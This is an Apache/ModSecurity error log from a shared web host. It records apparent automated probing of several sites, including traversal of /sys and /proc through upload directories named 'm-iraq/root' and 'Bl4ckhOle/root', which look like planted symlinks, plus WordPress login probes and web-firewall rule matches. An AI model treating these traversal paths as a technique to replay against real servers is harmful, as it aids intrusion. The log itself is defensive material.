[Fri Jul 17 08:14:05.337923 2026] [security2:error] [pid 2002425:tid 2002425] [client 68.183.43.38:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "rehanseo.online"] [uri "/wp-login.php"] [unique_id "almW9aUJv0yl2bIgVrkK0QAAABU"], referer: https://rehanseo.online.2s-travels.com/wp-login.php
[Fri Jul 17 08:14:06.307039 2026] [core:error] [pid 1996894:tid 1996894] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/class/wakeup/wakeup0/device/subsystem/devices/device:09/eject
[Fri Jul 17 08:14:06.349975 2026] [security2:error] [pid 2002425:tid 2002425] [client 68.183.43.38:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=5,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "rehanseo.online"] [uri "/wp-login.php"] [unique_id "almW9aUJv0yl2bIgVrkK0QAAABU"], referer: https://rehanseo.online.2s-travels.com/wp-login.php
[Fri Jul 17 08:14:06.651627 2026] [mime:warn] [pid 1993570:tid 1993570] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:14:06.684884 2026] [ssl:error] [pid 1993668:tid 1993668] (70014)End of file found: [client 66.85.158.91:53806] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:14:06.804697 2026] [mime:warn] [pid 1999089:tid 1999089] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:14:07.317125 2026] [mime:warn] [pid 1993604:tid 1993604] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:14:07.575156 2026] [mime:warn] [pid 1993675:tid 1993675] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:14:07.666365 2026] [mime:warn] [pid 1993998:tid 1993998] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:14:07.849463 2026] [mime:warn] [pid 1996894:tid 1996894] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:14:08.046295 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:14:08.046848 2026] [security2:error] [pid 1993671:tid 1993671] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/devices/pci0000:00/firmware_node/device:14/subsystem/drivers/ac/"] [unique_id "almW-A5GPQ6hs4VrfMo7bwAAAAY"]
[Fri Jul 17 08:14:08.046867 2026] [security2:error] [pid 1993671:tid 1993671] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/devices/pci0000:00/firmware_node/device:14/subsystem/drivers/ac/"] [unique_id "almW-A5GPQ6hs4VrfMo7bwAAAAY"]
[Fri Jul 17 08:14:08.409707 2026] [mime:warn] [pid 1993570:tid 1993570] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:14:08.554771 2026] [mime:warn] [pid 1993574:tid 1993574] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:14:08.711583 2026] [mime:warn] [pid 1993998:tid 1993998] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:14:09.258776 2026] [mime:warn] [pid 1993604:tid 1993604] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:14:09.348998 2026] [mime:warn] [pid 1994446:tid 1994446] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:14:09.637755 2026] [core:error] [pid 1993573:tid 1993573] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/bus/acpi/devices/device:1c/subsystem/drivers/button/bind
[Fri Jul 17 08:14:09.797884 2026] [ssl:error] [pid 1993671:tid 1993671] (70014)End of file found: [client 66.85.158.91:53996] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:14:09.818574 2026] [mime:warn] [pid 1993715:tid 1993715] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:14:10.825009 2026] [mime:warn] [pid 1993659:tid 1993659] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:14:10.845301 2026] [ssl:error] [pid 1993604:tid 1993604] (70014)End of file found: [client 66.85.158.91:54046] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:14:11.097007 2026] [mime:warn] [pid 2005917:tid 2005917] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:14:11.097691 2026] [security2:error] [pid 2005917:tid 2005917] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/bus/cpu/devices/cpu2/node0/memory66/power/"] [unique_id "almW-3f2WrySr2miwA70-gAAABY"]
[Fri Jul 17 08:14:11.097712 2026] [security2:error] [pid 2005917:tid 2005917] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/bus/cpu/devices/cpu2/node0/memory66/power/"] [unique_id "almW-3f2WrySr2miwA70-gAAABY"]
[Fri Jul 17 08:14:11.286938 2026] [mime:warn] [pid 1994966:tid 1994966] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:14:11.385938 2026] [mime:warn] [pid 1994956:tid 1994956] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:14:11.475802 2026] [core:error] [pid 2002425:tid 2002425] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/class/wakeup/wakeup17/device/subsystem/devices/device:1e/eject
[Fri Jul 17 08:14:11.566455 2026] [core:error] [pid 1993715:tid 1993715] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/class/wakeup/wakeup6/device/subsystem/devices/device:1a/eject
[Fri Jul 17 08:14:11.650073 2026] [security2:error] [pid 1994446:tid 1994446] [client 74.7.242.11:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-global": Permission denied [hostname "www.epid.gov.lk"] [uri "/epid/public/index.php"] [unique_id "almW-12NhE8i6ppze4erMQAAAAs"], referer: https://www.epid.gov.lk/situation-report?filter=2021&page_104=1182&page_105=1048
[Fri Jul 17 08:14:11.650131 2026] [security2:error] [pid 1994446:tid 1994446] [client 74.7.242.11:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-ip": Permission denied [hostname "www.epid.gov.lk"] [uri "/epid/public/index.php"] [unique_id "almW-12NhE8i6ppze4erMQAAAAs"], referer: https://www.epid.gov.lk/situation-report?filter=2021&page_104=1182&page_105=1048
[Fri Jul 17 08:14:11.657478 2026] [mime:warn] [pid 1996894:tid 1996894] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:14:11.844653 2026] [ssl:error] [pid 1994976:tid 1994976] (70014)End of file found: [client 66.85.158.91:57286] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:14:12.483869 2026] [mime:warn] [pid 1993659:tid 1993659] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:14:13.613852 2026] [core:error] [pid 1993675:tid 1993675] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/class/wakeup/wakeup10/device/subsystem/devices/device:1e/eject
[Fri Jul 17 08:14:13.705685 2026] [mime:warn] [pid 1993573:tid 1993573] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:14:14.081749 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:14:14.285299 2026] [core:error] [pid 2005917:tid 2005917] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/devices/LNXSYSTM:00/LNXSYBUS:00/ACPI0010:00/LNXCPU:02/eject
[Fri Jul 17 08:14:14.386315 2026] [mime:warn] [pid 1993675:tid 1993675] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:14:14.435433 2026] [ssl:error] [pid 1993572:tid 1993572] (70014)End of file found: [client 66.85.158.91:57428] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:14:14.776103 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:14:15.254930 2026] [mime:warn] [pid 1993715:tid 1993715] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:14:15.852378 2026] [security2:error] [pid 2005917:tid 2005917] [client 162.55.236.162:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-global": Permission denied [hostname "www.epid.gov.lk"] [uri "/epid/public/index.php"] [unique_id "almW_3f2WrySr2miwA71AAAAABY"]
[Fri Jul 17 08:14:15.852413 2026] [security2:error] [pid 2005917:tid 2005917] [client 162.55.236.162:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-ip": Permission denied [hostname "www.epid.gov.lk"] [uri "/epid/public/index.php"] [unique_id "almW_3f2WrySr2miwA71AAAAABY"]
[Fri Jul 17 08:14:15.914429 2026] [core:error] [pid 1994446:tid 1994446] (13)Permission denied: [client 57.141.18.7:0] AH00132: file permissions deny server access: /home/anandaob/public_html/js/Bl4ckhOle/root/proc/thread-self/root/sys/bus/memory/devices/memory2/subsystem/devices/memory61/node0/memory107/subsystem/devices/memory89/subsystem/drivers_probe
[Fri Jul 17 08:14:16.182697 2026] [mime:warn] [pid 1993574:tid 1993574] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:14:16.277415 2026] [mime:warn] [pid 1996894:tid 1996894] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:14:16.473269 2026] [mime:warn] [pid 2005917:tid 2005917] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:14:16.519644 2026] [ssl:error] [pid 1994966:tid 1994966] (70014)End of file found: [client 66.85.158.91:57618] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:14:16.562497 2026] [mime:warn] [pid 1993715:tid 1993715] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:14:16.563022 2026] [security2:error] [pid 1993715:tid 1993715] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/lib/firmware/yam/"] [unique_id "almXAHRlmrtCoY_COpcf7QAAAAg"]
[Fri Jul 17 08:14:16.563062 2026] [security2:error] [pid 1993715:tid 1993715] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/lib/firmware/yam/"] [unique_id "almXAHRlmrtCoY_COpcf7QAAAAg"]
[Fri Jul 17 08:14:17.197421 2026] [ssl:error] [pid 1993675:tid 1993675] (70014)End of file found: [client 66.85.158.91:57662] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:14:17.478620 2026] [mime:warn] [pid 1993659:tid 1993659] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:14:17.537744 2026] [mime:warn] [pid 2002425:tid 2002425] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:14:17.575336 2026] [mime:warn] [pid 1993574:tid 1993574] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:14:17.669306 2026] [mime:warn] [pid 1994976:tid 1994976] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:14:17.758590 2026] [mime:warn] [pid 1994956:tid 1994956] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:14:17.941541 2026] [mime:warn] [pid 1994446:tid 1994446] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:14:18.603511 2026] [mime:warn] [pid 2005917:tid 2005917] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:14:19.437686 2026] [mime:warn] [pid 2005917:tid 2005917] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:14:19.923246 2026] [ssl:error] [pid 1993570:tid 1993570] (70014)End of file found: [client 66.85.158.91:57810] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:14:20.032515 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:14:20.316725 2026] [mime:warn] [pid 1994976:tid 1994976] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:14:21.644752 2026] [mime:warn] [pid 1993574:tid 1993574] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:14:21.735644 2026] [core:error] [pid 1993668:tid 1993668] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/class/tty/tty60/subsystem/ttyS3/device/driver/bind
[Fri Jul 17 08:14:21.917846 2026] [mime:warn] [pid 1994976:tid 1994976] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:14:22.058608 2026] [ssl:error] [pid 2002425:tid 2002425] (70014)End of file found: [client 66.85.158.91:33500] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:14:22.195214 2026] [core:error] [pid 1996894:tid 1996894] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/class/wakeup/wakeup17/device/subsystem/devices/device:1d/eject
[Fri Jul 17 08:14:22.931909 2026] [security2:error] [pid 1999089:tid 1999089] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/public_html/uploads/img/news/m-iraq/root/sys/class/tty/tty49/subsystem/tty31/uevent"] [unique_id "almXBkMCK1PbyQ2qe6D_kwAAABQ"]
[Fri Jul 17 08:14:22.931944 2026] [security2:error] [pid 1999089:tid 1999089] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/public_html/uploads/img/news/m-iraq/root/sys/class/tty/tty49/subsystem/tty31/uevent"] [unique_id "almXBkMCK1PbyQ2qe6D_kwAAABQ"]
[Fri Jul 17 08:14:23.024426 2026] [security2:error] [pid 1996894:tid 1996894] [client 66.249.64.226:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/bostonlanka-global": Permission denied [hostname "bostonlanka.com"] [uri "/wp-content/themes/twentysixteen/js/skip-link-focus-fix.js"] [unique_id "almXBo4Wmn5zySdNNkAiNQAAABM"], referer: https://bostonlanka.com/
[Fri Jul 17 08:14:23.024453 2026] [security2:error] [pid 1996894:tid 1996894] [client 66.249.64.226:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/bostonlanka-ip": Permission denied [hostname "bostonlanka.com"] [uri "/wp-content/themes/twentysixteen/js/skip-link-focus-fix.js"] [unique_id "almXBo4Wmn5zySdNNkAiNQAAABM"], referer: https://bostonlanka.com/
[Fri Jul 17 08:14:23.989960 2026] [ssl:error] [pid 1993619:tid 1993619] (70014)End of file found: [client 66.85.158.91:33598] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:14:24.286264 2026] [security2:error] [pid 2005917:tid 2005917] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almXCHf2WrySr2miwA71CgAAABY"], referer: http://anandaobauae.org/?fb_locale=th_THuploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpg
[Fri Jul 17 08:14:24.286310 2026] [security2:error] [pid 2005917:tid 2005917] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almXCHf2WrySr2miwA71CgAAABY"], referer: http://anandaobauae.org/?fb_locale=th_THuploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpg
[Fri Jul 17 08:14:24.463620 2026] [ssl:error] [pid 1994976:tid 1994976] (70014)End of file found: [client 66.85.158.91:33606] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:14:25.343856 2026] [mime:warn] [pid 2005917:tid 2005917] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:14:25.404058 2026] [mime:warn] [pid 1993604:tid 1993604] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:14:25.474349 2026] [core:error] [pid 1993574:tid 1993574] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/proc/self/cwd/sys/module/netpoll/uevent
[Fri Jul 17 08:14:25.524591 2026] [proxy_fcgi:error] [pid 1993668:tid 1993668] [client 84.17.43.206:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 08:14:25.525197 2026] [security2:error] [pid 1993668:tid 1993668] [client 84.17.43.206:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/kamechol-global": Permission denied [hostname "kamecho.lk"] [uri "/xmlrpc.php"] [unique_id "almXCRAi3pC6yjXGNq16oQAAAAU"]
[Fri Jul 17 08:14:25.525227 2026] [security2:error] [pid 1993668:tid 1993668] [client 84.17.43.206:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/kamechol-ip": Permission denied [hostname "kamecho.lk"] [uri "/xmlrpc.php"] [unique_id "almXCRAi3pC6yjXGNq16oQAAAAU"]
[Fri Jul 17 08:14:25.687238 2026] [mime:warn] [pid 2005917:tid 2005917] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:14:25.771997 2026] [mime:warn] [pid 1994956:tid 1994956] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:14:25.784032 2026] [mime:warn] [pid 1993570:tid 1993570] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:14:25.861297 2026] [mime:warn] [pid 1993998:tid 1993998] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:14:26.137714 2026] [mime:warn] [pid 1994966:tid 1994966] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:14:26.228600 2026] [security2:error] [pid 2005917:tid 2005917] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/dev/char/116:3/device/pcmC0D0c/power/control"] [unique_id "almXCnf2WrySr2miwA71DQAAABY"]
[Fri Jul 17 08:14:26.228642 2026] [security2:error] [pid 2005917:tid 2005917] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/dev/char/116:3/device/pcmC0D0c/power/control"] [unique_id "almXCnf2WrySr2miwA71DQAAABY"]
[Fri Jul 17 08:14:26.596530 2026] [mime:warn] [pid 1993570:tid 1993570] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:14:27.140633 2026] [mime:warn] [pid 1994967:tid 1994967] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:14:27.416039 2026] [core:error] [pid 1993604:tid 1993604] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/class/wakeup/wakeup9/subsystem/wakeup11/device/device:21/eject
[Fri Jul 17 08:14:27.507543 2026] [mime:warn] [pid 1994966:tid 1994966] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:14:27.598689 2026] [core:error] [pid 2005917:tid 2005917] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/class/wakeup/wakeup6/device/subsystem/devices/device:09/eject
[Fri Jul 17 08:14:27.621946 2026] [ssl:error] [pid 1994446:tid 1994446] (5)Input/output error: [client 66.85.158.91:33742] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:14:27.690126 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:14:28.043421 2026] [ssl:error] [pid 1993584:tid 1993584] (70014)End of file found: [client 66.85.158.91:33752] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:14:28.085353 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:14:28.143943 2026] [mime:warn] [pid 1994966:tid 1994966] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:14:28.239301 2026] [mime:warn] [pid 1994956:tid 1994956] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:14:28.294350 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:14:28.327699 2026] [mime:warn] [pid 1993715:tid 1993715] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:14:28.331502 2026] [core:error] [pid 2002425:tid 2002425] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/class/wakeup/wakeup7/device/subsystem/devices/LNXCPU:02/eject
[Fri Jul 17 08:14:28.510004 2026] [mime:warn] [pid 1999089:tid 1999089] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:14:28.605943 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:14:28.636676 2026] [mime:warn] [pid 1994966:tid 1994966] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:14:28.773085 2026] [security2:error] [pid 1993671:tid 1993671] [client 47.82.8.103:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".ini"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "anandaobauae.org"] [uri "/backup/js/Bl4ckhOle/root/opt/alt/php74/etc/php.d.all/gmagick.ini"] [unique_id "almXDA5GPQ6hs4VrfMo7gwAAAAY"]
[Fri Jul 17 08:14:28.773752 2026] [security2:error] [pid 1993671:tid 1993671] [client 47.82.8.103:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "anandaobauae.org"] [uri "/backup/js/Bl4ckhOle/root/opt/alt/php74/etc/php.d.all/gmagick.ini"] [unique_id "almXDA5GPQ6hs4VrfMo7gwAAAAY"]
[Fri Jul 17 08:14:28.783149 2026] [security2:error] [pid 1993671:tid 1993671] [client 47.82.8.103:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "anandaobauae.org"] [uri "/backup/js/Bl4ckhOle/root/opt/alt/php74/etc/php.d.all/gmagick.ini"] [unique_id "almXDA5GPQ6hs4VrfMo7gwAAAAY"]
[Fri Jul 17 08:14:28.893121 2026] [mime:warn] [pid 1996894:tid 1996894] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:14:28.975570 2026] [mime:warn] [pid 1994967:tid 1994967] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:14:29.065674 2026] [core:error] [pid 1993668:tid 1993668] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/class/wakeup/wakeup7/device/subsystem/devices/device:03/eject
[Fri Jul 17 08:14:29.525871 2026] [mime:warn] [pid 2002425:tid 2002425] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:14:29.704702 2026] [mime:warn] [pid 1993998:tid 1993998] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:14:29.886525 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:14:29.886636 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:14:29.886689 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:14:29.886771 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:14:29.886831 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:14:29.886868 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:14:29.886935 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:14:29.886961 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:14:29.887104 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:14:29.887135 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:14:29.887156 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:14:29.887224 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:14:29.887292 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:14:29.887316 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:14:29.887391 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:14:29.887430 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:14:29.887524 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
